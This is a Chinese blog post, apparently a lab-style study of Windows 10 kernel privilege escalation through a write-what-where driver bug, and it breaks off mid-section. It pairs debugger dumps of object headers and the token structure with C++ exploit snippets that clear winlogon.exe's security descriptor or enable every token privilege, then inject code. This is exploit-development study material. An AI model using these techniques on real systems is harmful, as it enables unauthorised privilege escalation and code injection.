class="line">ACCESS_MASK GrantedAccess;</span><br><span class="line">&#125; SYSTEM_HANDLE, *PSYSTEM_HANDLE;</span><br></pre></td></tr></table></figure><p>之前的博客中有提到过，Windows大部分时候都是直接使用<strong>句柄这个概念</strong>与上层进行交互的，不过通过这个结构体，我们就能够直接拿到句柄真正对应的对象，然后对句柄对应的内容进行修改。</p><h4 id="插曲：objecttypenumber的对应关系">插曲：ObjectTypeNumber的对应关系</h4><p>上述可以看到，那个<code>ObjectTypeNumber</code>其实表示的是当前句柄的类型，不过我上网查到的很多资料都有问题，所以这里我们自己整理一份对应关系。<a href="https://medium.com/@ashabdalhalim/a-light-on-windows-10s-object-header-typeindex-value-e8f907e7073a">首先这边的大佬</a>帮忙整理了在Win10中，不同的Object在内存中的组织形式发生了什么样的变化，简单来说，在早期的windows系统中，通过查看<code>_OBJECT_HEADER</code>是能够知道当前的对象类型的，但是win10修改了，其计算放在这个函数上:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; uf nt!ObGetObjectType</span><br><span class="line">nt!ObGetObjectType:</span><br><span class="line">81e13e44 8bff            mov     edi,edi</span><br><span class="line">81e13e46 55              push    ebp</span><br><span class="line">81e13e47 8bec            mov     ebp,esp</span><br><span class="line">81e13e49 8b4d08          mov     ecx,dword ptr [ebp+8]</span><br><span class="line">81e13e4c 8d41e8          lea     eax,[ecx-18h]</span><br><span class="line">81e13e4f 0fb649f4        movzx   ecx,byte ptr [ecx-0Ch]</span><br><span class="line">81e13e53 c1e808          shr     eax,8</span><br><span class="line">81e13e56 0fb6c0          movzx   eax,al</span><br><span class="line">81e13e59 33c1            xor     eax,ecx</span><br><span class="line">81e13e5b 0fb60dd824d081  movzx   ecx,byte ptr [nt!ObHeaderCookie (81d024d8)]</span><br><span class="line">81e13e62 33c1            xor     eax,ecx</span><br><span class="line">81e13e64 8b0485e024d081  mov     eax,dword ptr nt!ObTypeIndexTable (81d024e0)[eax*4]</span><br><span class="line">81e13e6b 5d              pop     ebp</span><br><span class="line">81e13e6c c20400          ret     4</span><br></pre></td></tr></table></figure><p>稍微逆向一下就知道，现在想要通过<code>_OBJECT_HEADER</code>知道当前对象的类型，就得用这个算式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nt!ObTypeIndexTable[(当前objectheader的地址的第二个字节^TypeIndex^poi(nt!ObHeaderCookie)最低字节)*4]</span><br></pre></td></tr></table></figure><p>这里举个例子。比如我们想要知道的<code>TOKEN</code>这个对象的objectheader长这样:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dt _Object_header 8bfd1888</span><br><span class="line">nt!_OBJECT_HEADER</span><br><span class="line">   +0x000 PointerCount     : 0n33</span><br><span class="line">   +0x004 HandleCount      : 0n2</span><br><span class="line">   +0x004 NextToFree       : 0x00000002 Void</span><br><span class="line">   +0x008 Lock             : _EX_PUSH_LOCK</span><br><span class="line">   +0x00c TypeIndex        : 0x8e &#x27;&#x27;</span><br><span class="line">   +0x00d TraceFlags       : 0 &#x27;&#x27;</span><br><span class="line">   +0x00d DbgRefTrace      : 0y0</span><br><span class="line">   +0x00d DbgTracePermanent : 0y0</span><br><span class="line">   +0x00e InfoMask         : 0x8 &#x27;&#x27;</span><br><span class="line">   +0x00f Flags            : 0x2 &#x27;&#x27;</span><br><span class="line">   +0x00f NewObject        : 0y0</span><br><span class="line">   +0x00f KernelObject     : 0y1</span><br><span class="line">   +0x00f KernelOnlyAccess : 0y0</span><br><span class="line">   +0x00f ExclusiveObject  : 0y0</span><br><span class="line">   +0x00f PermanentObject  : 0y0</span><br><span class="line">   +0x00f DefaultSecurityQuota : 0y0</span><br><span class="line">   +0x00f SingleHandleEntry : 0y0</span><br><span class="line">   +0x00f DeletedInline    : 0y0</span><br><span class="line">   +0x010 ObjectCreateInfo : 0x8d2952c0 _OBJECT_CREATE_INFORMATION</span><br><span class="line">   +0x010 QuotaBlockCharged : 0x8d2952c0 Void</span><br><span class="line">   +0x014 SecurityDescriptor : 0xa7a779d2 Void</span><br><span class="line">   +0x018 Body             : _QUAD</span><br></pre></td></tr></table></figure><p>那么我们此时计算的值就是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; ? (0x18^0x8e^0x93)</span><br><span class="line">Evaluate expression: 5 = 00000005</span><br></pre></td></tr></table></figure><p>最终我们检查内存中的形式:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dt nt!_object_type poi(nt!ObTypeIndexTable + (0x5*4))</span><br><span class="line">   +0x000 TypeList         : _LIST_ENTRY [ 0x8639bbd0 - 0x8639bbd0 ]</span><br><span class="line">   +0x008 Name             : _UNICODE_STRING &quot;Token&quot;</span><br><span class="line">   +0x010 DefaultObject    : 0x81cb60f0 Void</span><br><span class="line">   +0x014 Index            : 0x5 &#x27;&#x27;</span><br><span class="line">   +0x018 TotalNumberOfObjects : 0x9f0</span><br><span class="line">   +0x01c TotalNumberOfHandles : 0x396</span><br><span class="line">   +0x020 HighWaterNumberOfObjects : 0xa59</span><br><span class="line">   +0x024 HighWaterNumberOfHandles : 0x3d6</span><br><span class="line">   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER</span><br><span class="line">   +0x080 TypeLock         : _EX_PUSH_LOCK</span><br><span class="line">   +0x084 Key              : 0x656b6f54</span><br><span class="line">   +0x088 CallbackList     : _LIST_ENTRY [ 0x8639bc58 - 0x8639bc58 ]</span><br></pre></td></tr></table></figure><p>这个object确实是token，证明了我们的猜测。<br>并且我们可以看到，这个计算的结果5其实正好就是<code>ObjectTypeNumber</code>，所以我也整理了一遍这个<code>ObjectTypeNumber</code>，这次只用在win10上</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">enum</span> <span class="title class_">_SYSTEM_HANDLE_TYPE</span></span><br><span class="line">&#123;</span><br><span class="line">    OB_TYPE_TYPE = <span class="number">2</span>,</span><br><span class="line">    Directory = <span class="number">3</span>,</span><br><span class="line">    SymbolicLink,</span><br><span class="line">    Token,</span><br><span class="line">    Job,</span><br><span class="line">    Process,</span><br><span class="line">    Thread,</span><br><span class="line">    Partition,</span><br><span class="line">    UserApcReserve,</span><br><span class="line">    IoCompletionReserve,</span><br><span class="line">    ActivityReference,</span><br><span class="line">    PsSiloContextPaged,</span><br><span class="line">    PsSiloContextNonPaged,</span><br><span class="line">    DebugObject,</span><br><span class="line">    Event,</span><br><span class="line">    Mutant,</span><br><span class="line">    Callback,</span><br><span class="line">    Semaphore,</span><br><span class="line">    Timer,</span><br><span class="line">    IRTimer,</span><br><span class="line">    Profile,</span><br><span class="line">    KeyedEvent,</span><br><span class="line">    WindowStation,</span><br><span class="line">    Desktop,</span><br><span class="line">    Composition,</span><br><span class="line">    RawInputManager,</span><br><span class="line">    CoreMessaging,</span><br><span class="line">    ActivationObject,</span><br><span class="line">    TpWorkerFactory,</span><br><span class="line">    Adapter,</span><br><span class="line">    Controller,</span><br><span class="line">    Device,</span><br><span class="line">    Driver,</span><br><span class="line">    IoCompletion,</span><br><span class="line">    WaitCompletionPacket,</span><br><span class="line">    File,</span><br><span class="line">    TmTm</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>后面还有好多。。。等用到时候再列出来吧。。。</p><h3 id="需要修改哪些地方呢">需要修改哪些地方呢</h3><p>我们之前提到说，想要提权，可以从如下两个角度去入手:</p><ul><li>Access Right: 访问控制</li><li>Privilege: 特权</li></ul><p>那假设我们可以控制一些变量来修改这个值（而不是通过控制kernel code的执行），我们可以从如下的角度去考虑</p><ul><li>我们是否可以移除一个windows object的所有ACLs？</li><li>我们是否可以给一个进程token任意的特权？</li><li>我们是否可以替换掉一个进程的token？</li></ul><p>其中第一条是针对<code>Access Right</code>的攻击手段，第二三条则是<code>Privilege</code>的相关攻击手段。那么我们一条条来分析可行性</p><h4 id="方法一：acls的修改">方法一：ACLs的修改</h4><p>Windows底下有一条很有趣的规矩:</p><blockquote><p>如果一个对象的ACLs是空的，那么这个对象将被视为可以被任意权限的任意对象进行任意访问。而如果ACLs被初始化为空（empty），那么将视为当前对象没有被赋予任何的被访问的权限，所以不能被任何对象以任何权限访问</p></blockquote><p>总的来说，区别就体现在结构体的这个地方:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dt _Object_header 8bfd1888</span><br><span class="line">nt!_OBJECT_HEADER</span><br><span class="line">   +0x000 PointerCount     : 0n33</span><br><span class="line">   +0x004 HandleCount      : 0n2</span><br><span class="line">   +0x004 NextToFree       : 0x00000002 Void</span><br><span class="line">   +0x008 Lock             : _EX_PUSH_LOCK</span><br><span class="line">   +0x00c TypeIndex        : 0x8e &#x27;&#x27;</span><br><span class="line">   +0x00d TraceFlags       : 0 &#x27;&#x27;</span><br><span class="line">   +0x00d DbgRefTrace      : 0y0</span><br><span class="line">   +0x00d DbgTracePermanent : 0y0</span><br><span class="line">   +0x00e InfoMask         : 0x8 &#x27;&#x27;</span><br><span class="line">   +0x00f Flags            : 0x2 &#x27;&#x27;</span><br><span class="line">   +0x00f NewObject        : 0y0</span><br><span class="line">   +0x00f KernelObject     : 0y1</span><br><span class="line">   +0x00f KernelOnlyAccess : 0y0</span><br><span class="line">   +0x00f ExclusiveObject  : 0y0</span><br><span class="line">   +0x00f PermanentObject  : 0y0</span><br><span class="line">   +0x00f DefaultSecurityQuota : 0y0</span><br><span class="line">   +0x00f SingleHandleEntry : 0y0</span><br><span class="line">   +0x00f DeletedInline    : 0y0</span><br><span class="line">   +0x010 ObjectCreateInfo : 0x8d2952c0 _OBJECT_CREATE_INFORMATION</span><br><span class="line">   +0x010 QuotaBlockCharged : 0x8d2952c0 Void</span><br><span class="line">   +0x014 SecurityDescriptor : 0xa7a779d2 Void</span><br><span class="line">   +0x018 Body             : _QUAD</span><br></pre></td></tr></table></figure><p><code>SecurityDescriptor</code>这个对象当指向的内容为空的时候，就是我们提到的第一种情况，也就是<strong>当前对象变成可以被任意对象访问</strong>。</p><h4 id="实践：利用www漏洞修改winlogon-exe进程对象的访问控制权限">实践：利用WWW漏洞修改winlogon.exe进程对象的访问控制权限</h4><p>我们知道，<code>winlogon.exe</code>这个进程的权限特别的高，那我们能不能通过找到这个进程的<code>EPROCESS</code>对应的<code>object_header</code>，将其中的DACL给改成空的，就能够实下代码注入了呢？我们这边稍微实验一下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// first, we should open target process on our processPROCESSENTRY32 entry;</span></span><br><span class="line">DWORD dwPid = <span class="built_in">GetProcessID</span>(<span class="string">L&quot;winlogon.exe&quot;</span>);</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;the winlogon.exe pid is 0x%x\n&quot;</span>, dwPid);</span><br><span class="line"><span class="comment">// then, we try to open a handle</span></span><br><span class="line">HANDLE hTarget = <span class="built_in">OpenProcess</span>(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid);</span><br><span class="line"><span class="keyword">if</span> (!hTarget) &#123;</span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;Open winlogon.exe failed&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// next, we try to open this eprocess address at kernel</span></span><br><span class="line">DWORD dwEPROCESS = <span class="built_in">GetKernelPointer</span>(hTarget, <span class="number">0x7</span>);</span><br><span class="line">DWORD dwObjectHeader = dwEPROCESS - <span class="number">0x18</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;[+] winlogon.exe eprocess addr [0x%x], the object addr [0x%x] and the dacl addr [0x%x]\n&quot;</span>, dwEPROCESS, dwObjectHeader, dwObjectHeader + <span class="number">0x14</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// here we try to change the dacl to another one</span></span><br><span class="line">WrtieWhatWhere *WWW = (WrtieWhatWhere*)<span class="built_in">HeapAlloc</span>(<span class="built_in">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, <span class="built_in">sizeof</span>(WrtieWhatWhere));</span><br><span class="line">DWORD dwTargetOffset = dwEPROCESS - <span class="number">0x4</span>;</span><br><span class="line">DWORD dwRetSize = <span class="number">0</span>;</span><br><span class="line">WWW-&gt;Where = (ULONG_PTR)dwTargetOffset;</span><br><span class="line"><span class="comment">//std::cout &lt;&lt; &quot;Base address:&quot; &lt;&lt; dwBaseAddress &lt;&lt; &quot; ExOffset:&quot; &lt;&lt; ulExAllocatePool;</span></span><br><span class="line">UINT64 uAllPrivelage = <span class="number">0</span>;</span><br><span class="line">WWW-&gt;What = (ULONG_PTR)&amp;uAllPrivelage;</span><br><span class="line"><span class="comment">// WWW-&gt;What = (ULONG)&amp;dwRealExAllocatePool;</span></span><br><span class="line"><span class="comment">// copy exp to target address</span></span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;Now we will write[&quot;</span> &lt;&lt; WWW-&gt;Where &lt;&lt; <span class="string">&quot;]:&quot;</span> &lt;&lt; *(ULONG*)(WWW-&gt;What) &lt;&lt; std::endl;</span><br><span class="line"><span class="comment">// Call the WWW vulnerability to write the target address</span></span><br><span class="line">    <span class="built_in">Vunelrable</span>(WWW);</span><br><span class="line"><span class="comment">// now because the dacl has been changed, we guess this process may could be inject</span></span><br><span class="line"><span class="comment">// Tro to inject code</span></span><br><span class="line"><span class="built_in">InjectToWinlogon</span>();</span><br><span class="line"><span class="built_in">HeapFree</span>(<span class="built_in">GetProcessHeap</span>(), <span class="number">0</span>, WWW);</span><br><span class="line"><span class="keyword">return</span> <span class="literal">true</span>;</span><br></pre></td></tr></table></figure><p>结果如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">KDTARGET: Refreshing KD connection</span><br><span class="line"></span><br><span class="line">*** Fatal System Error: 0x00000189</span><br><span class="line">                       (0x8D1D9028,0x8639B480,0x00000001,0x00000000)</span><br><span class="line"></span><br><span class="line">Break instruction exception - code 80000003 (first chance)</span><br><span class="line"></span><br><span class="line">A fatal system error has occurred.</span><br><span class="line">Debugger entered on first try; Bugcheck callbacks have not been invoked.</span><br><span class="line"></span><br><span class="line">A fatal system error has occurred.</span><br><span class="line"></span><br><span class="line">For analysis of this file, run !analyze -v</span><br><span class="line">nt!RtlpBreakWithStatusInstruction:</span><br><span class="line">81b66484 cc              int     3</span><br><span class="line">1: kd&gt; !analyze -v</span><br><span class="line">*******************************************************************************</span><br><span class="line">*                                                                             *</span><br><span class="line">*                        Bugcheck Analysis                                    *</span><br><span class="line">*                                                                             *</span><br><span class="line">*******************************************************************************</span><br><span class="line"></span><br><span class="line">BAD_OBJECT_HEADER (189)</span><br><span class="line">The OBJECT_HEADER has been corrupted</span><br><span class="line">Arguments:</span><br><span class="line">Arg1: 8d1d9028, Pointer to bad OBJECT_HEADER</span><br><span class="line">Arg2: 8639b480, Pointer to the resulting OBJECT_TYPE based on the TypeIndex in the OBJECT_HEADER</span><br><span class="line">Arg3: 00000001, The object security descriptor is invalid.</span><br><span class="line">Arg4: 00000000, Reserved.</span><br><span class="line"></span><br><span class="line">Debugging Details:</span><br><span class="line">------------------</span><br></pre></td></tr></table></figure><p>非常遗憾，没有生效，上网检查了一下，发现其实是Win10给出的一种攻击的缓解手段。在Win10上，EPROCESS这个对象的<code>_OBJECT_HEADER</code>中指向DS的指针是不能为空的，否则就会报错，具体可以看<a href="https://improsec.com/tech-blog/windows-kernel-shellcode-on-windows-10-part-2">这里</a>。这篇文章还介绍了一下如何绕过这个防护，继续利用dacl进行攻击。利用的思路就是修改成了：通过修改winlogon.exe中的AECs，让其进程允许来自任意SID token 的用户修改，然后再进行inject即可。具体可参考链接里面给出的方法，这边暂时就不演示（虚拟机崩的太多了，心态崩溃）</p><h3 id="方法二：token结构体">方法二：TOKEN结构体</h3><p>前面介绍了ACL的攻击方式，那么这次我们回到TOKEN上面，介绍一下修改token的攻击。之前我们提到说，想要提权，其实就是修改这个TOKEN结构体的成员变量。这个结构体在WIN10中结构如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; dt nt!_TOKEN</span><br><span class="line">   +0x000 TokenSource      : _TOKEN_SOURCE</span><br><span class="line">   +0x010 TokenId          : _LUID</span><br><span class="line">   +0x018 AuthenticationId : _LUID</span><br><span class="line">   +0x020 ParentTokenId    : _LUID</span><br><span class="line">   +0x028 ExpirationTime   : _LARGE_INTEGER</span><br><span class="line">   +0x030 TokenLock        : Ptr32 _ERESOURCE</span><br><span class="line">   +0x034 ModifiedId       : _LUID</span><br><span class="line">   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES</span><br><span class="line">   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY</span><br><span class="line">   +0x078 SessionId        : Uint4B</span><br><span class="line">   +0x07c UserAndGroupCount : Uint4B</span><br><span class="line">   +0x080 RestrictedSidCount : Uint4B</span><br><span class="line">   +0x084 VariableLength   : Uint4B</span><br><span class="line">   +0x088 DynamicCharged   : Uint4B</span><br><span class="line">   +0x08c DynamicAvailable : Uint4B</span><br><span class="line">   +0x090 DefaultOwnerIndex : Uint4B</span><br><span class="line">   +0x094 UserAndGroups    : Ptr32 _SID_AND_ATTRIBUTES</span><br><span class="line">   +0x098 RestrictedSids   : Ptr32 _SID_AND_ATTRIBUTES</span><br><span class="line">   +0x09c PrimaryGroup     : Ptr32 Void</span><br><span class="line">   +0x0a0 DynamicPart      : Ptr32 Uint4B</span><br><span class="line">   +0x0a4 DefaultDacl      : Ptr32 _ACL</span><br><span class="line">   +0x0a8 TokenType        : _TOKEN_TYPE</span><br><span class="line">   +0x0ac ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL</span><br><span class="line">   +0x0b0 TokenFlags       : Uint4B</span><br><span class="line">   +0x0b4 TokenInUse       : UChar</span><br><span class="line">   +0x0b8 IntegrityLevelIndex : Uint4B</span><br><span class="line">   +0x0bc MandatoryPolicy  : Uint4B</span><br><span class="line">   +0x0c0 LogonSession     : Ptr32 _SEP_LOGON_SESSION_REFERENCES</span><br><span class="line">   +0x0c4 OriginatingLogonSession : _LUID</span><br><span class="line">   +0x0cc SidHash          : _SID_AND_ATTRIBUTES_HASH</span><br><span class="line">   +0x154 RestrictedSidHash : _SID_AND_ATTRIBUTES_HASH</span><br><span class="line">   +0x1dc pSecurityAttributes : Ptr32 _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION</span><br><span class="line">   +0x1e0 Package          : Ptr32 Void</span><br><span class="line">   +0x1e4 Capabilities     : Ptr32 _SID_AND_ATTRIBUTES</span><br><span class="line">   +0x1e8 CapabilityCount  : Uint4B</span><br><span class="line">   +0x1ec CapabilitiesHash : _SID_AND_ATTRIBUTES_HASH</span><br><span class="line">   +0x274 LowboxNumberEntry : Ptr32 _SEP_LOWBOX_NUMBER_ENTRY</span><br><span class="line">   +0x278 LowboxHandlesEntry : Ptr32 _SEP_CACHED_HANDLES_ENTRY</span><br><span class="line">   +0x27c pClaimAttributes : Ptr32 _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION</span><br><span class="line">   +0x280 TrustLevelSid    : Ptr32 Void</span><br><span class="line">   +0x284 TrustLinkedToken : Ptr32 _TOKEN</span><br><span class="line">   +0x288 IntegrityLevelSidValue : Ptr32 Void</span><br><span class="line">   +0x28c TokenSidValues   : Ptr32 _SEP_SID_VALUES_BLOCK</span><br><span class="line">   +0x290 IndexEntry       : Ptr32 _SEP_LUID_TO_INDEX_MAP_ENTRY</span><br><span class="line">   +0x294 DiagnosticInfo   : Ptr32 _SEP_TOKEN_DIAG_TRACK_ENTRY</span><br><span class="line">   +0x298 BnoIsolationHandlesEntry : Ptr32 _SEP_CACHED_HANDLES_ENTRY</span><br><span class="line">   +0x29c SessionObject    : Ptr32 Void</span><br><span class="line">   +0x2a0 VariablePart     : Uint4B</span><br></pre></td></tr></table></figure><p>这其中最关键的就是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">+0x040 Privileges       : _SEP_TOKEN_PRIVILEGES</span><br></pre></td></tr></table></figure><p>这个位置记录了当前进程的特权。特权的结构如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nt!_SEP_TOKEN_PRIVILEGES</span><br><span class="line">   +0x000 Present          : Uint8B</span><br><span class="line">   +0x008 Enabled          : Uint8B</span><br><span class="line">   +0x010 EnabledByDefault : Uint8B</span><br></pre></td></tr></table></figure><p>之前提到过，Windows再运行过程中，实际上是检查了<code>Enabled</code>这个位置的特权。换句话说，如果这个位置的特权都打开了，那么当前进程将会获得所有类型的特权。具体的exp可以参考上一篇博客，这里给出一个大概的例子:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// New Method</span></span><br><span class="line">HANDLE hCurrentProcess = <span class="built_in">OpenProcess</span>(PROCESS_QUERY_INFORMATION, FALSE, <span class="built_in">GetCurrentProcessId</span>());</span><br><span class="line"><span class="keyword">if</span> (!hCurrentProcess) &#123;</span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;[-] Open Current process faiiled&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">HANDLE hToken = <span class="number">0</span>;</span><br><span class="line"><span class="comment">// the TOKEN_ADJUST_PRIVILEGES will enable/disable the privelage token</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="built_in">OpenProcessToken</span>(hCurrentProcess, TOKEN_ADJUST_PRIVILEGES, &amp;hToken)) &#123;</span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;[-] Couldn&#x27;t get curr ent process token&quot;</span> &lt;&lt; std::endl;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// The 0x5 is what??????</span></span><br><span class="line">DWORD kToken = <span class="built_in">GetKernelPointer</span>(hToken, <span class="number">0x5</span>);</span><br><span class="line">DWORD dwTargetOffset = kToken + <span class="number">0x48</span>;</span><br><span class="line"></span><br><span class="line">std::cout &lt;&lt; <span class="string">&quot;The target token offest is &quot;</span> &lt;&lt; dwTargetOffset &lt;&lt; std::endl;</span><br><span class="line">WrtieWhatWhere *WWW = (WrtieWhatWhere*)<span class="built_in">HeapAlloc</span>(<span class="built_in">GetProcessHeap</span>(), HEAP_ZERO_MEMORY, <span class="built_in">sizeof</span>(WrtieWhatWhere));</span><br><span class="line">WWW-&gt;Where = (ULONG_PTR)dwTargetOffset;</span><br><span class="line"><span class="comment">//std::cout &lt;&lt; &quot;Base address:&quot; &lt;&lt; dwBaseAddress &lt;&lt; &quot; ExOffset:&quot; &lt;&lt; ulExAllocatePool;</span></span><br><span class="line">UINT64 uAllPrivelage= <span class="number">0xffffffffffffffff</span>;</span><br><span class="line">WWW-&gt;What = (ULONG_PTR)&amp;uAllPrivelage;</span><br><span class="line">   <span class="comment">// Call the WWW vulnerability to write the target address</span></span><br><span class="line">   <span class="built_in">Vunelrable</span>(WWW);</span><br><span class="line"><span class="comment">// now because the dacl has been changed, we guess this process may could be inject</span></span><br><span class="line"><span class="comment">// Tro to inject code</span></span><br><span class="line"><span class="built_in">InjectToWinlogon</span>();</span><br></pre></td></tr></table></figure><h4 id="方法三：替换token">方法三：替换TOKEN</h4><p>这个方法其实之前也用过，就是比较简单的替换到EPROCESS中的这个地方:</p><figure class="highlight plaintext"><table><tr><td 